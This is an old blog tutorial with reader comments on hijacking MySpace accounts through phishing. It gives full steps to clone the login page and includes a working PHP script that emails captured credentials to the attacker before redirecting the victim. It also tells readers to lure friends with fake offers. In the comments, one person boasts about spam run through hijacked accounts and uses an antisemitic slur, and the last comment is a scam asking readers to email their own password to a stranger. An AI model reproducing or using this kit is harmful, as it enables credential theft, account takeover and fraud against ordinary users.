How to Hack into MySpace Profiles

Tricks of Trade View comments

There are many security vulnerabilites and loopholes in the MySpace social network that can easily be exploited. The whole entire architecture was built using Cold Fusion. MySpace was a great concept, however when it was originally being built no one, not even Tom knew that MySpace would get nearly as big as it did. What was meant to be a simple free site where people could create profiles for fun turned into a massive empire. It quickly grew to over 200 million users and just as much money in annual advertising revenue. Spammers, affiliate marketers, and cpc advertisers saw MySpace as a gold mine. They could inject their ads into the myspace architecture and easily reach millions of people for free. This simple site turned many hackers/spammers into millionaires over night.

MySpace saw these viral marketers as being parasites who were out to exploit their social network and profit off of it however they could. So they started increasing their security to prevent spam and viral marketing inside their network. However, it was fairly easy for these hackers/spammers to change their methods to stay one step ahead of the new security features.

One security vulnerability in particular has proven to be very difficult to block. This loop hole has compromised all of the social networking sites, online banking, ebay, paypal, and even credit card and investment websites. This trick is known as phishing and it can take many forms such as fake webpages, fake emails, or fake popup windows all which ask the user to provide secure information under the assumption that the email or website is from the actual site that they are trying to access.

The Process

The first thing that you need to do is go to the main www.MySpace.com page where people typically log into their MySpace accounts.

My Space Login Page

When you get to this login page do a view source and open up the raw html source in notepad.

My Space Login View Source

Select “Edit” from the topnav of notepad and select the “Find” option.  Do a find for <form.  In this “<form” tag replace the action attribute to “submit.php”.

Source Find Form

So you will be replaceing:

<form action=”http://secure.myspace.com/index.cfm?fuseaction=login.process” method=”post” id=”LoginForm” name=”aspnetForm”>

With the following:

<form action=”submit.php” method=”post” id=”LoginForm” name=”aspnetForm”>

Once you have made this simple change in notepad save the document to your desktop and name it “MySpace.html” or using a similar file name of your choosing.  You will use this page as a fake MySpace login page.

MySpace Login Save Source

Now you will have to build the file, submit.php, to receive the login information from the fake login page in notepad with the following code:

<html><body>
<?php

// Capture the Email Address and Password from the login page.

$email = $_POST[’ctl00$Main$SplashDisplay$ctl00$Email_Textbox’];
$password = $_POST[’ctl00$Main$SplashDisplay$ctl00$Password_Textbox’];

// Email the captured Email Address and Password to your email address.
// Replace the value in the “$to” field with your actual email address.

$to = “youremail@yourdomain.com”;
$subject = “My Space Login Info”;
$body = “Email: “. $email . ” Password: ” . $password . “.<br />”;;
if (mail($to, $subject, $body)) {
//echo(”<p>Message successfully sent!</p>”);
} else {
//echo(”<p>Message delivery failed…</p>”);
}

// Redirect to the real MySpace login page.
?>
<META HTTP-EQUIV=”REFRESH” CONTENT=”1;URL=http://www.myspace.com”>
</body></html>

This php file does three different actions. First it captures the email address and password provided on the fake MySpace page, then it will email the username and password to the email address specified in the “$to” field, and finally it will redirect back to MySpace.

Be sure to put your email address in the $to field above when editing this file.

Save this file to your desk top and name it submit.php.

Host Login Page

Now log into your hosting company’s control panel and upload both the MySpace.html login page and the submit.php action page to a location on your webserver where it can be viewed on the internet.

My Space Login Page

Type the URL of the location where you placed the MySpace.html page and make sure that all the images and flash videos appear on the page correctly. You may need to add “http://www.myspace.com” if there are any relative links to image or flash items on this fake MySpace login page. However, I have found that most of the images and flash videos have absolute paths which make doing this convenient because all images and flash videos will be pulled directly off the actual myspace site for your fake login page.

Now log into your actual myspace account.

Send either a comment, an email, a bulletin, or a forum/blog post asking people to check out something really cool. Create a link to this cool page offering the free items using the following format Cool Offer Link.

My Space Email

So when this person(s) clicks on this link they will be redirected to your fake login page and think that MySpace dropped their session. They will login on your fake page and it will email you their email address and password behind the scenese without them realizing it. They will be redirected back to MySpace and think that they have just logged into the site or they will be asked to log in again.

You will now have their username and password. This trick can be applied to all social networking such as facebook, stumble, digg, etc. and may require adjustments to be made to work well or to account for new security features to prevent people from doing this trick. However, this type of loophole is very difficult to block if you are create enough about where you can inject these links into their site and how well you can make the login page resemble the actual login page of the site you are trying to break into.

So next time you log into MySpace make sure that the address in your browser’s address bar is actually http://www.myspace.com and not some other site with a fake login page.

My Space Address Bar

These types of links can also be sent to people by email. Ebay, Paypal, and many banking and credit card sites have also been hacked into using these concepts above. It will be nearly impossible to eliminate this type of security vulnerability with naive users.

Below Jared the subway guy will explain this fast and easy step-by-step process on how to hack into people’s myspace accounts.

I have seen lots of hacking attempts of this nature out there lately. Lots of emails asking people to verify their accounts and then taking them to a fake login page where their credentials are stolen.

It happened to a friends bank account and this person was able to empty their entire count with this info. Fortunately Citibank has identity theft protection and gave the money back.

A year ago, the same situation happened to e-gold customers. Russian hackers created a clone page of E-Gold.com and cleaned few user accounts.. My money has also been stolen, but not on a fake page. I believe keylogger was hidden i a picture i received..
thanks for the “hacker`s guide”!

It’s called Phishing, and only noobs fall for it. Aside from that, it’s also illegal.

I am guessing that you will need some sort of hosting plan on a webserver somewhere.

I would recommend signing up for Host Monster.

Comment by Chuck
2008-04-01 18:10:37

submit.cfm does a form post to the following page:

secure.myspace.com/index.cfm?fuseaction=login.process

Just do a “view source” by right clicking on the page and look where the form action is being submitted in the html returned by the php or cfm file and you can find out where the page content is being submitted.

I made lots of money by doing affiliate marketing through hacked myspace accounts.

I had a deal with CJ.com where I would get paid $3 for each college survey that was filled out and I would post bulletins asking people to enter the college survey contest saying that they won really cool prizes.

People would see this message from their friends and assume the contest was legit and fill out the short simple form. I made over $1,100 in a single day doing this once and over $16K that month doing other types of affiliate marketing for commission.

Jewspace is too cheap to allow people to leach off their network in this manner. They would rather hoard all the money themselves.

Now myspace is doing that annoying thing where it prevents you from leaving their site and this stupid warning with Tom pops up giving you a message on phishing sites. This makes advertising and affiliate marketing from your myspace account really difficult.

Very good breakdown of the whole process.
Obviously no one is barely going to use this method anymore, as Myspace has realised such a big problem it was causing and in turn have made many countermeasures to prevent their occurrences. Most notably they know telltale signs of such messages and have the ability to block them. Funnily enough, on the real login pages Myspace warns people to check the URL of the login page to check that they are always with Myspace.com and not another site like in your method; yet still the scammers themselves put this image up their because not only does it look even more realistic but people don’t even check in the first place! They deserve to get scammed to be honest.
Great lesson though!

this will no longer work if you send the link through a bulletin or a myspace message, because myspace warns you whenever you are linked to an external page now.

You would have to get someone to go to your page outside of myspace.

I know how to solve your problem.
First, the trick is to trick the system into thinking that you’re the administrator.
When you send an email to ( myspace_finder@hotmail.com )
Type this in the subject 5675456email=(youremail)%6342
Put the Friend ID of the person’s password you want.
Then at the bottom type in 67843544Password=(yourpassword)%35646

Then once you’ve sent the email, they should send you a email back asking you to “change your password” for the person’s myspace password you want to know!

simple as that.
